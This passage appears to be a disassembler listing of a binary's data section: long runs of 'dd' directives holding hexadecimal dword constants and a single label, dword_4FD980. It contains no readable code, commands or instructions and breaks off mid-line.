0A4DC2C2Bh, 1612E8E3h dd 1C0587A0h, 0EC284C20h, 0E141C535h, 3C2B7E58h, 0C7305C25h dd 6D94206Fh, 0B896887h, 0B671DF09h, 0E943AEE8h, 86E9FD68h dd 67F1E202h, 41D52110h, 9568CB3Bh, 0B6FA8813h, 9D7E1015h dd 0B7164548h, 0C921B9DEh, 0E7872287h, 0A57F53DCh, 96750E02h dd 0F444AD06h, 63D594BDh, 0FF9DE568h, 8410F6DBh, 0EB077B34h dd 7D956983h, 0B1FCF8B4h, 38D068A0h, 0C418469Dh, 5B4A7DCh dd 3080964Eh, 1F040506h, 0CC8E6FDBh, 0C2496061h, 0FAE5EBFh dd 0D7A65156h, 0F31E7921h, 52462D14h, 410E3D1h, 6861914Eh dd 3576C009h, 1C123841h, 0C0AA896Ah, 90123E1Ch, 4364E48h dd 1617239Ah, 6C5154C0h, 0E93C1EA8h, 0CCDF253Eh, 0B2521217h dd 120AE86Bh, 0FAACE304h, 41EEED74h, 0B82A1EBAh, 2BA3ECEh dd 0E9E8280Fh, 0D731EA39h, 0DE75A8C2h, 0CFE9502Ch, 21BE6F4Fh dd 2A06BAA0h, 939F07A3h, 2D77E0B6h, 0CC65D99Dh, 652EE95Bh dd 0DDC98709h, 0B7090CD1h, 0C665A0EBh, 58CF56DEh, 0BB201441h dd 543B74D4h, 68275792h, 989AD8BAh, 0CF3D4D78h, 0E31ADF16h dd 0E220D330h, 80FEF1C8h, 486005E8h, 3EAF2D09h, 2182289Dh dd 0DF871AC9h, 55860643h, 6FEB5717h, 0D74005DBh, 16E243Eh dd 0B1C701C1h, 600F1367h, 1AB59E82h, 23D1D7D7h, 18C3BE8Bh dd 4E572924h, 0B4E7FC20h, 424924FAh, 0A067E9C2h, 0BF0971C4h dd 5061D27h, 0C4FE5E46h, 1854B916h, 0EE29B921h, 0F00618E6h dd 47380C13h, 0E967F209h, 0F0C4ABDBh, 8465970Eh, 47B0DD27h dd 0CCA83E8Ah, 4DBE56E1h, 0E9DE236Fh, 5A0F2F8Ch, 0ACC01362h dd 823F357Ah, 0A65FFB72h, 0DAE19AFCh, 51B82F88h, 5EF784h dd 0BB0886B9h, 9B83Ah, 14CEDB84h, 3FE9F929h, 0EB0B74E9h dd 0CDC38019h, 8835907h, 2327E915h, 58F48F4Bh, 68B14029h dd 23E9950h, 0E2D1C4A8h, 0A6CF60BFh, 4027C410h, 0F09A4908h dd 498B846h, 0E438BBC9h, 6399F80Fh, 0B4446212h, 0CCA09FC7h dd 0B5B46BA3h, 0D8E99760h, 5B5E8F9Ah, 0AB8C74ABh, 8FD6F2B7h dd 0E9F701F0h, 2B166856h, 4CCF6C34h, 0D4B4EA44h, 0E95880ECh dd 0D197D41Bh, 3505C924h, 0EB28FB6Dh, 2082568h, 5649BBDBh dd 0D6665981h, 0A08821F6h, 0B025178Eh, 5584D55h, 0FB771D23h dd 875F7140h, 0A0F8015Ch, 0D3AA685h, 34E91F1Eh, 55F03F8Dh dd 6B2916EAh, 0DA82Eh dd 14DF1FFCh, 9E79C7E9h, 46C48474h, 24C1C7AAh, 2FB7A727h dd 5E61D45Ch, 17A34595h, 766B92Eh, 599F511Fh, 0C8D6673Fh dd 98BA97BFh, 4E69BDC7h, 0C7B15618h, 4896C055h, 524B6E82h dd 58D03DD9h, 0C12C5B1Fh, 2FD3F715h, 54044EBDh, 0EA0FE9F0h dd 0C2292582h, 4C24C0C5h, 89DF822Bh, 8BD165DBh, 30FF1A68h dd 835B0B4Dh, 8872B1D8h, 8416CC4Ch, 530EC92Eh, 95E143C9h dd 17BE3A58h, 2A74EC06h, 0BA0EC883h, 0C900733h, 5F5E8E01h dd 95DAA655h, 90844A56h, 2F61CF8Fh, 3F61D4E9h, 4B32B899h dd 0E8633413h, 3BA1C1F7h, 204923F8h, 39189A62h, 46C72D88h dd 384C5518h, 7A1C440Ch, 0C8DE9F7Ch, 4CD86858h, 0E9E0F06Bh dd 9897E6F4h, 2F73FE4Fh, 99765A43h, 0E192CD10h, 0CCA085A4h dd 6EFC4E19h, 827DBA50h, 0BE275EF8h, 477198C4h, 0BE2C8C35h dd 7A4B2C06h, 0F4C0D694h, 7230E9A0h, 0CC2E332h, 0EC5C1242h dd 2C47F221h, 0D5A57604h, 9B680F65h, 3A65688h, 0D4F5814Dh dd 0BC1A0BDBh, 0E34CF8B1h, 121C7501h, 0FF1D9A76h, 97296198h dd 0FD62DBF4h, 13749062h, 0AFAA9139h, 7C128176h, 0C0C53805h dd 0BA3E3ACDh, 72BA2F24h, 7BDD504Ah, 58C38CBEh, 0F739923Eh dd 7BD6DCD0h, 8BB3B4C0h, 0B501EB80h, 43F5FDE2h, 487BF211h dd 0EEDAB365h, 317FFB98h, 6ACEBA69h, 87109E8Ah, 164D3BF3h dd 642463FCh, 0B1C3C80h, 2A097D29h, 7CD030Eh, 0B6A447EFh dd 0AE70B346h, 0E05E1625h, 2454C02Bh, 3EF5D94h, 210729C9h dd 6E80CBB3h, 514C36DAh, 69702EBh, 0DD5E433Fh, 60EEF9C1h dd 7239F634h, 0F03E2C4Bh, 0B29D2613h, 2E3BBB3Ah, 0C051B644h dd 62482A96h, 4625E90Eh, 0D716FDF7h, 8E0BE898h, 506A7C05h dd 0BCEE426h, 21EB9AF5h, 0B05DBE0Bh, 9C799BADh, 62526B21h dd 277969B5h, 0F8F6ADCDh, 7807827Dh, 7016095Eh, 0A8DF34E5h dd 0D32708A3h, 0E0791DFDh, 4AEE95Ah, 0BE53663Bh, 7D9FF6F0h dd 0F08E3426h, 5536E076h, 0B8F0EC75h, 452B5200h, 4AA92573h dd 0F00B4E84h, 91B1E277h, 504810E9h, 0FC3A16E9h, 0B471BCFEh dd 0B7A60DC1h, 5BDF62Bh, 87CF295Fh, 13065FFh, 322CBC1Fh dd 70C7E536h, 5004D730h, 0E80C1EB8h, 0AB74F4C7h, 0FE6AB700h dd 0EF2CC0CFh, 1F13B208h, 0C5A2FDA8h, 709B7E5Dh, 0EF6447E9h dd 8DAB4297h, 77AF459h, 2AEF2BE1h, 28E217CEh, 0C64C77FDh dd 4D0FE60Eh, 2BFB20ABh, 0A4FBF485h, 20FFA1EEh, 2813873Eh dd 0C11A2ECDh, 5F080522h, 134DCAABh, 2290F568h, 7BE61183h dd 0F1165E49h, 68A21807h, 1C738825h, 0EC603CDh, 17CC434h dd 8B710B5h, 0A1CBE913h, 0BDA77B82h, 0AB6A60C4h, 5C2909Ch dd 1D691713h, 0CD10EA29h, 575B2D08h, 0FE9D6714h, 0EFB25B99h dd 2AABB9F7h, 0BC602E35h, 0CD724BA4h, 0AD987F62h, 0D9A04EF4h dd 7FE4647h, 0D72A99B0h, 0CDF11F40h, 0E901D46Eh, 0A45CD025h dd 0E6023Dh, 48127210h, 61F60541h, 0DF00063Eh, 4E22F7E6h dd 0AE0CC113h, 2E7D3B7Fh, 874D4A4h, 29F14CCCh, 3FC2FA88h dd 317C0B7Ah, 0EFD48602h, 0A6AD2E3Fh, 0C7B45081h, 8C7FE128h dd 0CC4B3063h, 0E4804130h, 8FF9E7ACh, 0DCC777C2h, 802EC24h dd 0EC1E4568h, 954125DBh, 0F342E4F7h, 0DD2EE1D5h, 2BFBEDB9h dd 0E5BA0B00h, 954F4B6Eh, 2E0B1EDCh, 0EBB4FC35h, 1FC91077h dd 0E6DD829Fh, 13817665h, 0BF56C514h, 0A3FA5184h, 0DEE90B30h dd 68C2A01Ah, 5B2636BCh, 0C79F7165h, 0CC8000D8h, 6706CB87h dd 0C3F23B78h, 51852254h, 283BB576h, 585918EBh, 3168861Ch dd 84490629h, 35207B7h, 7F5862E4h, 0E539BA72h, 48C58EBDh dd 0D8037F86h, 76759BE9h, 99A4E9Dh, 0F5EC595Fh, 2DB2C520h dd 7782E0B5h, 0ED83EC88h, 6424F4EDh, 341224BFh, 0AE2F34BAh dd 4F7E3C8Ah, 201322h, 94505DCh, 68941401h, 7F273526h dd 5C1F7EC5h, 0CCA3E98Ah, 40D86AA5h, 0B5B6DE94h, 0DFEB8EF4h dd 73D252ACh, 7CD46241h, 0B4AAD3E3h, 6341AE96h, 0DEE3047Bh dd 332EA18h, 42520214h, 68D83000h, 0C77F6270h, 500D648h dd 0F1A553Bh, 6C5A0D38h, 0F040208Fh, 0E9E0DDC2h, 0DCA33E2Dh dd 0BD55401Ch, 7A270E1Eh, 0DFBF0BEDh, 0FA57F086h, 0DE25F913h dd 0E4C11701h, 0E02BB764h, 7D04F1B3h, 8987F5F6h, 680DB0FAh dd 51088525h, 2128016h, 0E8E92BC9h, 0FEE8E66Bh, 0D252C73Ch dd 23758895h, 0B5D44FB7h, 78F98737h, 52A4C123h, 2B28A912h dd 475D4990h, 77876F5h, 744BD1CDh, 1CD5E654h, 6C1698EAh dd 0D8BA2960h, 0E6AA9073h, 983F727Ch, 5E62E2BCh, 0B55EBD5Fh dd 883AD5C0h, 0F7012E1Dh, 68E78298h, 7006C2Fh, 0C0092018h dd 9E3BD30Ch, 0DF09294Ah, 80CF015Bh, 71150DAFh, 26058218h dd 0C8ED8059h, 7697FEF5h, 5E9D894h, 0E281AF9Eh, 6D72797Fh dd 962209ECh, 2DDC82E3h, 0AF063C6h, 5EEF820h, 224EF7BAh dd 0A4C1AA35h, 0EF047DB8h, 0E6934AE0h, 561AC6F5h, 0C64A63FAh dd 5926C0EEh, 544A2B68h, 1C40CF2h, 20ABA4CEh, 88873841h dd 0B9AB096Ch, 0F96B63F5h, 0AD3F7231h, 0EC6F78A9h, 6DA0985h dd 40ED57Bh, 4F49C3B9h, 0E167F03Bh, 370A8013h, 0DAF15F07h dd 315459E0h, 0D6CFE4F9h, 144B1608h, 5007485Eh, 0E9D43D4Eh dd 0DCBA6EE0h, 1364DD82h, 0BE877E60h, 5B9A57D0h, 9627F86Ah dd 6C90401h, 0C820BF4h, 0CC0D3073h, 60238B5Fh, 0D2F51B05h dd 0E191FB41h, 49740AADh, 795F0969h, 32D529A5h, 1FD56175h dd 49506800h, 83677C9Ch, 27F6E6CBh, 18E62D1Dh, 72BC2181h dd 6F3476AAh, 708322E0h, 5A2B24D7h, 617516B7h, 0AD63E9CBh dd 52CD6861h, 3D5EBDBAh, 0A159F889h, 20D3EFE6h, 170AD1E3h dd 2C148A3Fh, 65089EF2h, 92C281B7h, 6E282F95h, 24861414h dd 4F1B4717h, 7374F064h, 240B837h, 0F68D1B57h, 5DC0D331h dd 0E7BDBEB5h, 92A8874Dh, 0F031732Dh, 9ACD7213h, 0F8DD39BAh dd 0F1B5B04Bh, 292969C9h, 0E93F59F5h, 0B6582209h, 951B46B7h dd 2670925Eh, 489BA1Dh, 0B757FEC9h, 7468025h, 432D0822h dd 9517E53h, 0CA77D9BDh, 2DB1DEEFh, 8B6A2A5Eh, 3D4D4F03h dd 0C336D949h, 48448A3Eh, 4F0B4F8Bh, 4E57A231h, 0C60101B5h dd 35ED6A58h, 0B520A3C4h, 0C039E47Fh, 0C9CC2C5Fh, 19F737E9h dd 9C1BEC1h, 700349DCh, 0A09C8FB6h, 31DBC427h, 0FA6F9C90h dd 0BAA43A5Fh, 0C2AD5309h, 0F612B5D1h, 0D841AAF9h, 21E86857h dd 0BEF57A78h, 0A685B813h, 0D146F3EBh, 2F281386h, 49DE3BE8h dd 0A3223CA2h, 3874101Eh, 0A502B0C8h, 0C04DDD6Ah, 580FE701h dd 63153587h, 0A858B6B9h, 3B872A2Ah, 1D0505CBh, 0BEB837Bh dd 0E2D63A95h, 0C1AD79ADh, 3A97D9E9h, 5F8913B2h, 2F8DD210h dd 8A4AF794h, 0AA052903h, 0A387F174h, 3154DD7Ah, 24C53B23h dd 0BF4E2A9Ah, 685C2320h, 31024FD7h, 2AFB9FC9h, 9DA5918Ch dd 5AD77D68h, 41FD51B5h, 3A4021E9h, 15E02B34h, 0B5D1A668h dd 5F7465EAh, 4121515Ah, 6ECEC0E9h, 56ACD943h, 81AE85F2h dd 6B4A8986h, 0BF68AC42h, 8882511Bh, 0D11DEDC4h, 4A0893BBh dd 68F00B29h, 96A495E1h, 0BDB1ABC6h, 5A23824h, 217DA461h dd 0E4288DEh, 0A820C8BEh, 86087795h, 12FB2CA8h, 3DB0E905h dd 8DC65440h, 5A1317FEh, 49BBDEF7h, 0F9778C7Ah, 58560AD3h dd 0F97F0C2Fh, 0E405BB1Ah, 4309A723h, 0BC387B4h, 58BD3E1Ch dd 165D3C04h, 76E1AFBh, 0A9F85080h, 315C1F07h, 89E91CABh dd 814E2872h, 5564B39Eh dd 0FAD284CAh, 6A151BCh, 583F2675h, 0AB1C251Bh, 0C7E27FFBh dd 0F9DFB942h, 73F102D3h, 0CD616A1Dh, 0ED8E44DEh, 0C7678663h dd 94BF5F54h, 1A89FB44h, 5C4C4D60h, 0CA84C7CDh, 0E8629D43h dd 14D24FA8h, 9EF0C8BFh, 6EADD94Ah, 525E1FD9h, 286EFEEAh dd 0EB3F0EDh, 289A6C5Ch, 0B20BF0F9h, 7802D30Ch, 26FEE090h dd 1E64B866h, 1946C338h, 3A41D901h, 892D6E08h, 250F3FFCh dd 78A912A3h, 0A34F7405h, 0E18544A4h, 5398F965h, 2F43A1FEh dd 0E8C00400h, 128C0402h, 0B821E5E9h, 0AA1E9EE0h, 405A10B2h dd 305FE650h, 750C124Bh, 171A06Dh, 8802DBAh, 215D5468h dd 0F03F8401h, 0D3AACAFAh, 0C0FCAC0h, 0FB012455h, 8008203Ah dd 4EE3E4D5h, 60E4D9FEh, 688034B4h, 0CC405E7Eh, 0F5FE5308h dd 0BB014D96h, 5C86615h, 0DD7FF360h, 0E2778BD5h, 0D688D8F1h dd 0D0652723h, 0A3AAD40Bh, 8337DCE1h, 0D1941609h, 0FE8B5319h dd 0C4FAC412h, 0D791C210h, 0E544CD5h, 30F22205h, 175C8C81h dd 70E4E560h, 509D867Dh, 32D5842Bh, 0E0873D6Fh, 4C88AC0h dd 74542627h, 95750C56h, 0D5B9EF3h, 30C59BACh, 5681636Eh dd 8115CFD0h, 0D15E7B13h, 10F000BAh, 312E1B45h, 111BAB1h dd 484E2920h, 668930B2h, 0F20DCBD7h, 0FF4A2590h, 99DF5ED8h dd 0AEED0072h, 29FAFDDDh, 78F4F5F9h, 0C5224B0Ch, 65F64E38h dd 0AF5C4DF8h, 0DB66DA6Dh, 7942A84Fh, 74FEF425h, 0A169CFD4h dd 0C4372E77h, 3CFB48B1h, 54AAB4Bh, 0A6FE2DBBh, 0F62D6CFFh dd 897BFA05h, 0E65CCE09h, 1F4D2DFEh, 45569118h, 0E91BD805h dd 3E2D2944h, 3609BB2Eh, 5FD3C00Dh, 91D94F68h, 1C85419h dd 62DD965Ah, 73122D6Dh, 5C368C32h, 0DE050326h, 26D9E601h dd 0D5203695h, 0EBFB0FEAh, 7522BFECh, 40FC7731h, 25020E28h dd 0E960186Fh, 97CD7885h, 7DE944D4h, 295CCC7Ah, 0EA0112A4h dd 112E2302h, 0DD0EDDB3h, 1FF51BA3h, 0DBD0C04h, 908033F6h dd 583FCFEBh, 5448C251h, 3EC4FF27h, 0F0747CA2h, 23B0DF2Fh dd 0F4BF716Ah, 35CF8581h, 40991D96h, 70543EA2h, 0C9BCA6E9h dd 695A592Dh, 0AA9B02DDh, 0CB680114h, 0D68C7F63h, 4651251h dd 72350201h, 1BF6DD03h, 586B4B00h, 4F12E940h, 7B58F7E7h dd 0F755225Fh, 1A921016h, 0FBF5881Fh, 813DD72Ch, 380B5D89h dd 9498EC4Fh, 345D9695h, 0BE4CDAF0h, 0E8DF751Fh, 0D5A07FE7h dd 60752DBAh, 0CB4A1338h, 7FC0AA84h, 76023425h, 63F2073Ah dd 0C0516043h, 0D956C3CAh, 9BE96D17h, 0A452FE82h, 10EC4682h dd 712E84E6h, 48AC922Eh, 90E3D5A5h, 6F641EE9h, 977267A2h dd 7A2D1D74h, 80F99F76h, 0F0AFA3ADh, 571EEA5Dh, 0D83DF8FCh dd 7B3E43D0h, 0FCF85A5Bh, 88888FE2h, 3E1AAF28h, 0BA78C260h dd 0CBEDC180h, 42E2115Eh, 0C99F71D5h, 0F5FADB84h, 0F8FCDC42h dd 438956B5h, 1E17DC17h, 0C9E6E828h, 0DC522C14h, 54C4B779h dd 0F36E7E16h, 0FAF909FAh, 72A7E1F1h, 979872C5h, 0E913DD34h dd 0D1EA255Fh, 0D668EFE8h, 9B8749C0h, 64B7FC95h, 0D9DE2119h dd 0C44AC3A7h, 0E9256DECh, 0D9CDE3C4h, 6B960B75h, 0BB9C49E3h dd 5138E001h, 0C884EAD1h, 72889120h, 4C246342h, 0E313139Ch dd 585033AFh, 0DBFDFCAAh, 0F43712E3h, 4613C169h, 0C907440Ah dd 130E1230h, 1D28F198h, 425A66F0h, 1316E99Ah, 7F5F5403h dd 0B8444170h, 2CF80B22h, 0B704302Fh, 3EE91613h, 978CD476h dd 0B29634E0h, 12A49059h, 39FA7BE4h, 0B3223057h, 7E3A1F25h dd 2C0671D7h, 685201A2h, 7329226Bh, 946BA5EDh, 0F9C71245h dd 0DFB9A7F4h, 6A61FCC2h, 89D73E53h, 51BBC345h, 3F7AA4F6h dd 0A2CED268h, 2FA0B58Dh, 6C5917B8h, 6AA20F64h, 29F10EA0h dd 6927E9D1h, 4AA8FE1Eh, 66E18236h, 5E5515D2h, 0E9185491h dd 0B28CCF7Eh, 88531C0Dh, 5BD984D3h, 757F815Ah, 0A4DB3CA1h dd 5BF200D7h, 0E88EB16Eh, 289647D5h, 31148C5Dh, 0F768D20Bh dd 6313FE63h, 0AB852938h, 0AA845EE3h, 5822FF50h, 4BE4DD02h dd 1363A21Dh, 6B15E987h, 0F1297A01h, 2508FAA0h, 8D5E055Eh dd 50A8E98Bh, 20BE0E4Ch, 2D0B1043h, 293CA0D7h, 4DB8E9F0h dd 0B105D98Fh, 87BE520h, 51129BD2h, 0B6052EFh, 1857CD5Ah dd 90C13876h, 0D80E20D0h, 0E0EDE8EEh, 3AEF184Eh, 75DA77EFh dd 0A137FFDBh, 0EBB4FC64h, 354F165Eh, 4586E21Fh, 0FF0C04E7h dd 0D107B72Dh, 0E4F41264h, 0B01B7E9Eh, 36E107B9h, 0C02AF569h dd 0BD98CBF1h, 0CA29570Ch, 0BCA03659h, 0E05E1638h, 724F6FE4h dd 0EE8674h, 2B90536h, 1241FC3h, 820A2E8h, 5D5E9E80h, 88023190h dd 0E9303B76h, 0C2E72F6Bh, 0F461EE58h, 61F9C952h, 3F632F71h dd 29770B2Ch, 46D95EF2h, 4AF3F462h, 52D675A5h, 0DE5D8DC0h dd 0FD214B1Fh, 5552279Ah, 5D69BAC5h, 81D0DF12h, 3A896812h dd 0FFC04CACh, 1E269CBh, 5C8AEB4Ch, 2FB64E35h, 56E6EA93h dd 792CEB93h, 52F668CFh, 4B17BCA1h, 16A3B92Bh, 0A834081Dh dd 212535B3h, 0FD6865C8h, 0B6B6184Ah, 2F0F0493h, 90BA30Fh dd 0F875164Ch, 327B0221h, 0D2E977FAh, 599DD258h, 52E6C54Fh dd 69A1AEBFh, 3A942D3Eh, 0B05BF12Eh, 0E91655EFh, 0C0356F35h dd 304C61EAh, 0EDD82B01h, 81EB4018h, 3555F305h, 0CA825845h dd 0B359DD0Ah, 0F537FC42h, 4ADE7922h, 36EC5D09h, 42EF8101h dd 160326Fh, 8EB88DAh, 7727E91Ch, 0E8B0EEE4h, 87132CE4h dd 0A2AE5A59h, 0E0112D9Ch, 78E780DFh, 131C5F75h, 0ACDBACAFh dd 12264FE9h, 0E08CFE79h, 70FE9D05h, 0C5BF2D13h, 0DF0BBA7Ah dd 0FF28297Ah, 0E9099047h, 2F4EF470h, 5859E4FCh, 89DED242h dd 2FA75E8Ah, 5BE96D7h, 571206F5h, 0B7A00E6Ah, 52B95FB0h dd 0CB4E616h, 0ED0C64C8h, 0DE880B37h, 0CAB4FCF5h, 42099795h dd 0CD88A7E5h, 29A63CE4h, 23D7AD7Fh, 0D951F665h, 0D5400B09h dd 95C4047h, 0F759E911h, 0AE44BD24h, 5F7D9DB2h, 840FA852h dd 2D00C81Fh, 2C122B04h, 7C850505h, 10FB5D87h, 0E90A071Ah dd 609F089Bh, 0AD06859h, 0FCB2A593h, 80745599h, 886A5CCBh dd 5603054Dh, 5EDB4FE9h, 18C4ACA0h, 0C5D13409h, 621DF228h dd 0B850ED76h, 15FA257h, 8AD41C6h, 0A103F69h, 19FC60A0h dd 0B50B5B37h, 64C6AE68h, 7FCE8BC9h, 0F5051582h, 8EF38AA0h dd 74586CFDh, 0E87320C5h, 4982EE57h, 11663F6h, 2E078D59h dd 65268EB1h, 93C4FCD7h, 3E0093BCh, 0EA891567h, 0C197295Dh dd 3965404Bh, 2634EF3Bh, 0D73AAE09h, 6A90A294h, 48AC905Eh dd 54E109DEh, 0F3FD9055h, 93E72584h, 5140A24Ah, 442D68BFh dd 0F343A019h, 6594468Fh, 0DC562501h, 0FB975EFDh, 0C98FC706h dd 2C966C5Fh, 0A5C097E9h, 30097AF0h, 5845BD20h, 111C1269h dd 6D41EF33h, 0D98FE906h, 0E8E3BB05h, 0F792C33Eh, 0BC2ACC8Ch dd 5D7B0597h, 5BB2F9FCh, 5703D6DEh, 97555366h, 6FE2BB41h dd 0F68FDDE2h, 70220492h, 30BCAA49h, 0AAA57151h, 0D289987Dh dd 8916CCD3h, 625AA286h, 0BE927AE2h, 834CFDA3h, 2265BB4Eh dd 34FF64EEh, 3BA9EBCFh, 4E37EBC0h, 292879FDh, 882A6D3h dd 0AF8D0C82h, 0C14A13F5h, 91BF07B0h, 0BF4B8A1Fh, 0B66CBADEh dd 8459BF5Ch, 0FCD3C9C2h, 0BA5240F3h, 7B0075ECh, 47FA870Fh dd 92D484E9h, 0EAE13F8Bh, 2433F17h, 425C1E7Dh, 54E0455h dd 103D8BEAh, 4D095CA0h, 81764368h, 7A40B960h, 0E92A093Ch dd 84C95AFBh, 62E82156h, 1FAE4B79h, 2990029h, 0A5E93EB0h dd 24BE8F4Bh dword_4FD980 dd 24EDEE02h, 87205C7h, 20DB724Bh, 2C2D6E8Ch, 5A8F5EB2h dd 3F802E62h, 18491532h, 3498F90h, 23C303A3h, 559927Ah dd 76A8870Ch, 0E992EBA9h, 76827803h, 0D9C527ADh, 0B609C820h dd 0D89FE365h, 1BFBE642h, 2C68DAE9h, 0CC55609Ah, 0B8E4BDAh dd 318056D7h, 48BC050Eh, 0BE9D4ABAh, 2AE48064h, 2709910Bh dd 0F5AD9B7Eh, 0DF9DA31Ch, 0D25FD3A2h, 72B797EBh, 9D5EEF6Bh dd 0D716FC62h, 667FFC93h, 0EF6FD6BBh, 0F4ED92CBh, 307F39D6h dd 759A2904h, 0DD285816h, 7CE3DC09h, 0A706282h, 3E9BCCDFh dd 3C41058h, 0E781B9C0h, 0CB9E3C89h, 5842919Eh, 53C25975h dd 0D3FE6AC2h, 723C542Fh, 0AF6F53FDh, 3B70D3F0h, 0B2CAC80h dd 28960435h, 0F1932484h, 0E3162A76h, 0EB9F8B67h, 2495655Dh dd 6CF725B3h, 565732E6h, 8C71F2AAh, 4FB0FDE9h, 84A8E636h dd 690039EBh, 0DA2975D6h, 4842685Bh, 6D38466h, 2FDD5316h dd 5D093598h, 7531A2B1h, 81F79B07h, 82494E62h, 0B30AF10Ch dd 2210752Ch, 862DE953h, 81FA51D8h, 7111094Eh, 995A2052h dd 25214724h, 0FEF5D209h, 1DE1536Ah, 0C2857C5Eh, 55FEF410h dd 6B35FF99h, 0D75D390Bh, 0DEA75545h, 0FB29C5CEh, 0E90C94B6h dd 50428278h, 275FD5ECh, 17689320h, 2D459D73h, 0CB9552A8h dd 0DF2E91C2h, 1C518074h, 27551368h, 9077B4FFh, 35120259h dd 0EAE96AA9h, 0C9BEA0FFh, 58E70A33h, 1B30873Fh, 38BDBF16h dd 8144D806h, 0B00DB9EFh, 49C202Ch, 0DDF12125h, 5649DCE5h dd 0FB0245B7h, 9CD0F0A7h, 1005CB5Bh, 5F25FB70h, 6E3032FEh dd 24FE1CF2h, 13FA5238h, 8F6686EEh, 5D086CA0h, 0EC39F532h dd 2E750FABh, 6140BAC0h, 0D5F00BFBh, 40BF8E95h, 8137B259h dd 496B09CBh, 0A9813026h, 0DDECAFF2h, 6D5CD9E9h, 8555CFA6h dd 0EAC8CE69h, 0A2BA59C0h, 25311880h, 27B7014Bh, 0C81039EAh dd 5E68E954h, 0C26124A7h, 0B9D4AE96h, 4F52F7E9h, 1DC6E912h dd 0C0EB4197h, 0FAC58850h, 0A36BE1EBh, 0A0196ABh, 17AB3796h dd 4DCAD20h, 167C606h, 15E6AECDh, 0E168E618h, 0E217A6EAh dd 35AEB0A4h, 9E81BBC1h, 33488Ch, 0F9685500h, 5D574359h dd 15C1B80Fh, 0FD310B6Ch, 0E0C4D9ACh, 65400824h, 207AA202h dd 0E4A28174h, 0FFFED6DDh, 1B832168h, 218EC25h, 10514595h dd 9BDF59D8h, 0A9C80216h, 7F58A2EBh, 0CC70150h, 15557739h dd 6D4A1BEh, 58BFE208h, 0CCDEBD70h, 7313C66Ah, 5BCBE0B9h dd 0F8ADD047h, 23489F77h, 82824F64h, 9D13605h, 0D26B4804h dd 66FFBAE1h, 701F1D7Ch, 48A4AEC5h, 0B8772F08h, 0B560E9DAh dd 0BAB1464Bh, 0FA452F05h, 8D445BB5h, 18F8FD87h, 0D2EBEC74h dd 0D88AB4E2h, 7246813h, 0D950EA32h, 0ED2A497Fh, 0BDF42D29h dd 68EF8086h, 88531206h, 282A2CFEh, 63F0F34Fh, 0E7E04B48h dd 684C63D1h, 4A182DB4h, 372AE060h, 0D4B5397Ch, 7FC2F00h dd 82E39950h, 0D6EB8C0Eh, 0C1B2A4A0h, 5A1EB050h, 8CEB652h dd 8234C9F0h, 61F66035h, 0FCD8C0F9h, 94C25020h, 665E441Ch dd 398BBF12h, 0F61FD4ECh, 0CDD2E50Dh, 0AE208DB0h, 0FB215E2Ah dd 0DDD7795Eh, 0BAEA53EBh, 0FD0837CDh, 5FCAAACEh, 48608C62h dd 0DE002AF1h, 0CF21E3F9h, 0C9570AE9h, 66DDDACBh, 5B2D0F5Ah dd 0EAA17B19h, 746B92E9h, 302E7AFAh, 800922C3h, 0EF0D82CBh dd 3ABD0063h, 270A9929h, 9621F568h, 7DC53B97h, 0D6485582h dd 0EB7E251Dh, 0F44E57D2h, 40CAFB4Ah, 0D67EF85Bh, 63C88CFBh dd 2D161563h, 4B3B91F5h, 6AC2C87h, 2EF7AE6h, 2604133h dd 0D093C4E3h, 92480804h, 5FF2D3E9h, 0FE9BC99Eh, 1EC09E2Ch dd 215C00FFh, 41FA98E8h, 902C20F8h, 9491419h, 29026C16h dd 5F01895Fh, 0D42748CFh, 12CC62B8h, 59E5B8D7h, 0B7B4A055h dd 0BAB91AEh, 7F5C1C52h, 2BB247EFh, 0F5E83EE4h, 0DD93025Bh dd 42941C8Bh, 38177EA0h, 0F2F74082h, 58617FB9h, 58B24237h dd 50D4F1F7h, 59702968h, 72BC5E9Fh, 3F20BA52h, 0C15EBFF7h dd 0B7D65398h, 0B0D99D0Eh, 39C700C9h, 803CC11Ch, 0BF050A2Dh dd 9146843h, 4469D644h, 0B1E90509h, 0C0887E2Dh, 0D90B95D3h dd 0CDA66702h, 0F5F5BFE9h, 68957442h, 666DE827h, 0F80655F0h dd 0F27E554Bh, 591CC4C1h, 8BF9BA2Dh, 5BDC6918h, 0DB955FFAh dd 6C6E0069h, 0CA216AF4h, 0E2FFE925h, 0E552778Fh, 0EBD15B17h dd 64D98201h, 0C03F1E04h, 2C9D680Ch, 0F0E9093h, 317F443Eh dd 71098322h, 899A097h, 436D67CAh, 0E735FF00h, 5E53E913h dd 0C4708AF9h, 8807CCACh, 944774F9h, 0C7ADBBDEh, 0F2CBE386h dd 0CAEA594Ah, 0E90D9881h, 0A71B7ECh, 0D817484Ah, 266CC2B1h dd 556CA593h, 24C6FB60h, 3AFCB089h, 1EC8FAFDh, 4B4C1912h dd 2661C5BBh, 4C36FEEh, 7DD9B25Dh, 290202C7h, 0C16FBC27h dd 9380A203h, 0C161F3E6h, 0FE5E8776h, 7EE9BFC1h, 5825DB6Ch dd 4069C671h, 96578F22h, 0B784499Bh, 250116A5h, 31333460h dd 0DD00E26Ah, 6EBBE581h, 6B2F13h, 56D5F7DAh, 0CCB53168h dd 3C4B00ACh, 98BE51EFh, 145EFC47h, 0BB539F80h, 0B913172Eh dd 6D20BE0Eh, 0C1D5536h, 0AC05E976h, 0EB0BC1DFh, 0D6A08AE5h dd 0A1521635h, 9FCE6D08h, 2B6DE81Fh, 0C763D524h, 832029D9h dd 35B0B9E3h, 40AE8C65h, 366BF175h, 0E9130292h, 808C5F27h dd 0AABD5A4Dh, 7F807065h, 0B0C11275h, 0BDD09F1Ch, 0E95F0880h dd 0DADA972Fh, 405800B5h, 39DE355Ch, 2AEA46A6h, 0E1325A2Fh dd 95AC1377h, 0AC9A1264h, 49BC967Eh, 6474277Bh, 0C0050DDAh dd 40535421h, 185E0E80h, 0E97D1294h, 40E4B8D4h, 6F2461BAh dd 0E1026979h, 60B043D9h, 5EAE974h, 89A210F1h, 10EAE6CEh dd 0FB4F4E66h, 0C4C8F641h, 0D22AB63Fh, 0E4C0D895h, 8BD6EE71h dd 72B086BAh, 6417C22Ch, 87EF5D17h, 1133D7Eh, 0A5DFCBC5h dd 0E8AF09Ah, 8603E8C0h, 82D5F664h, 0BB00EC32h, 0B04F3BC1h dd 8100A06Eh, 57740BF5h, 0E5FF10E1h, 167FA72Ch, 2FCB0CCh dd 2AA54AEh, 7B6EFB29h, 0EC4724Ah, 0EE9259FDh, 0EBD704F2h dd 0FD569D0Bh, 8C8B87EFh, 4A65CED0h, 0CD45BF66h, 8117C9B1h dd 1948E4B7h, 